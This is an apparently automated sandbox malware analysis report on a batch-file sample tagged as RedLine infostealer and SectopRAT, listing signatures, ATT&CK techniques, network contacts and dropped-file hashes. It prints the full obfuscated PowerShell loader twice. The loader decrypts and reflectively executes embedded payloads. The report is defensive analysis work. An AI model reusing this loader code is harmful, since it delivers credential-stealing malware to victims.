Malware Analysis Report

2024-09-11 08:44

Sample ID 240510-xcy3rabf4v
Target build.bat
SHA256 03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd
Tags
redline sectoprat cheat execution infostealer rat spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd

Threat Level: Known bad

The file build.bat was found to be: Known bad.

Malicious Activity Summary

redline sectoprat cheat execution infostealer rat spyware trojan

RedLine

SectopRAT payload

RedLine payload

SectopRAT

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Accesses cryptocurrency files/wallets, possible credential harvesting

Program crash

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-10 18:43

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 18:43

Reported

2024-05-10 18:48

Platform

win10v2004-20240426-en

Max time kernel

135s

Max time network

203s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2836 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2836 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2836 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
BE 2.17.196.96:443 www.bing.com tcp
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 96.196.17.2.in-addr.arpa udp
BE 2.17.196.96:443 www.bing.com tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/2204-0-0x000000007466E000-0x000000007466F000-memory.dmp

memory/2204-1-0x0000000004AE0000-0x0000000004B16000-memory.dmp

memory/2204-2-0x0000000005150000-0x0000000005778000-memory.dmp

memory/2204-3-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-4-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-5-0x00000000057B0000-0x00000000057D2000-memory.dmp

memory/2204-6-0x0000000005950000-0x00000000059B6000-memory.dmp

memory/2204-7-0x00000000059C0000-0x0000000005A26000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq3lutux.ovn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2204-17-0x0000000005A30000-0x0000000005D84000-memory.dmp

memory/2204-18-0x0000000005F40000-0x0000000005F5E000-memory.dmp

memory/2204-19-0x0000000005FF0000-0x000000000603C000-memory.dmp

memory/2204-21-0x0000000006500000-0x000000000651A000-memory.dmp

memory/2204-20-0x00000000077A0000-0x0000000007E1A000-memory.dmp

memory/2204-23-0x0000000006550000-0x0000000006562000-memory.dmp

memory/2204-22-0x0000000006540000-0x0000000006548000-memory.dmp

memory/2204-24-0x0000000007130000-0x000000000714E000-memory.dmp

memory/2204-25-0x0000000007E20000-0x0000000008438000-memory.dmp

memory/2204-26-0x0000000007210000-0x0000000007222000-memory.dmp

memory/2204-27-0x0000000007270000-0x00000000072AC000-memory.dmp

memory/2204-28-0x00000000073F0000-0x00000000074FA000-memory.dmp

memory/2204-29-0x0000000008610000-0x00000000087D2000-memory.dmp

memory/2204-30-0x0000000008D10000-0x000000000923C000-memory.dmp

memory/2204-46-0x00000000097F0000-0x0000000009D94000-memory.dmp

memory/2204-47-0x00000000087E0000-0x0000000008872000-memory.dmp

memory/2204-48-0x0000000008880000-0x00000000088F6000-memory.dmp

memory/2204-49-0x0000000008960000-0x000000000897E000-memory.dmp

memory/2204-50-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-51-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-52-0x0000000074660000-0x0000000074E10000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp5BC2.tmp

MD5 8f5942354d3809f865f9767eddf51314
SHA1 20be11c0d42fc0cef53931ea9152b55082d1a11e
SHA256 776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea
SHA512 fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

C:\Users\Admin\AppData\Local\Temp\tmp5BD8.tmp

MD5 6d7ef092add3330a33162536d6a34a07
SHA1 b2646ee43195149c40daaadfada376f58169534e
SHA256 84d90c18fdb84664ac660760bb9a201f672407ad5bc5da01655ac0209f7c67a7
SHA512 579cf4851103bb8a3db2f24050c6b79229a968f0d5fb1ea92ccfb55e045b2a8ca82532200557f57052e39357b40a17ebac437007116d45de0f97d7189a3f251f

C:\Users\Admin\AppData\Local\Temp\tmp5C39.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

C:\Users\Admin\AppData\Local\Temp\tmp5C0F.tmp

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

C:\Users\Admin\AppData\Local\Temp\tmp5C09.tmp

MD5 49693267e0adbcd119f9f5e02adf3a80
SHA1 3ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512 b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

C:\Users\Admin\AppData\Local\Temp\tmp5C03.tmp

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

memory/2204-207-0x000000007466E000-0x000000007466F000-memory.dmp

memory/2204-208-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-210-0x0000000074660000-0x0000000074E10000-memory.dmp

memory/2204-213-0x0000000074660000-0x0000000074E10000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 18:43

Reported

2024-05-10 18:48

Platform

win11-20240508-en

Max time kernel

212s

Max time network

281s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2224 wrote to memory of 1336 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2224 wrote to memory of 1336 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2224 wrote to memory of 1336 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1336 -ip 1336

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 2752

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 172.67.75.172:443 api.ip.sb tcp

Files

memory/1336-0-0x0000000074E1E000-0x0000000074E1F000-memory.dmp

memory/1336-1-0x0000000005440000-0x0000000005476000-memory.dmp

memory/1336-2-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1336-3-0x0000000005AB0000-0x00000000060DA000-memory.dmp

memory/1336-4-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1336-5-0x0000000005A30000-0x0000000005A52000-memory.dmp

memory/1336-7-0x0000000006280000-0x00000000062E6000-memory.dmp

memory/1336-6-0x0000000006210000-0x0000000006276000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vmwra5d4.qrn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1336-16-0x00000000062F0000-0x0000000006647000-memory.dmp

memory/1336-17-0x0000000006800000-0x000000000681E000-memory.dmp

memory/1336-18-0x0000000006830000-0x000000000687C000-memory.dmp

memory/1336-19-0x0000000008030000-0x00000000086AA000-memory.dmp

memory/1336-20-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

memory/1336-21-0x00000000079D0000-0x00000000079D8000-memory.dmp

memory/1336-22-0x00000000079E0000-0x00000000079F2000-memory.dmp

memory/1336-23-0x0000000007A10000-0x0000000007A2E000-memory.dmp

memory/1336-24-0x0000000008CD0000-0x00000000092E8000-memory.dmp

memory/1336-25-0x0000000007AD0000-0x0000000007AE2000-memory.dmp

memory/1336-26-0x0000000007B30000-0x0000000007B6C000-memory.dmp

memory/1336-27-0x0000000007CB0000-0x0000000007DBA000-memory.dmp

memory/1336-28-0x0000000008880000-0x0000000008A42000-memory.dmp

memory/1336-29-0x0000000009820000-0x0000000009D4C000-memory.dmp

memory/1336-30-0x0000000074E10000-0x00000000755C1000-memory.dmp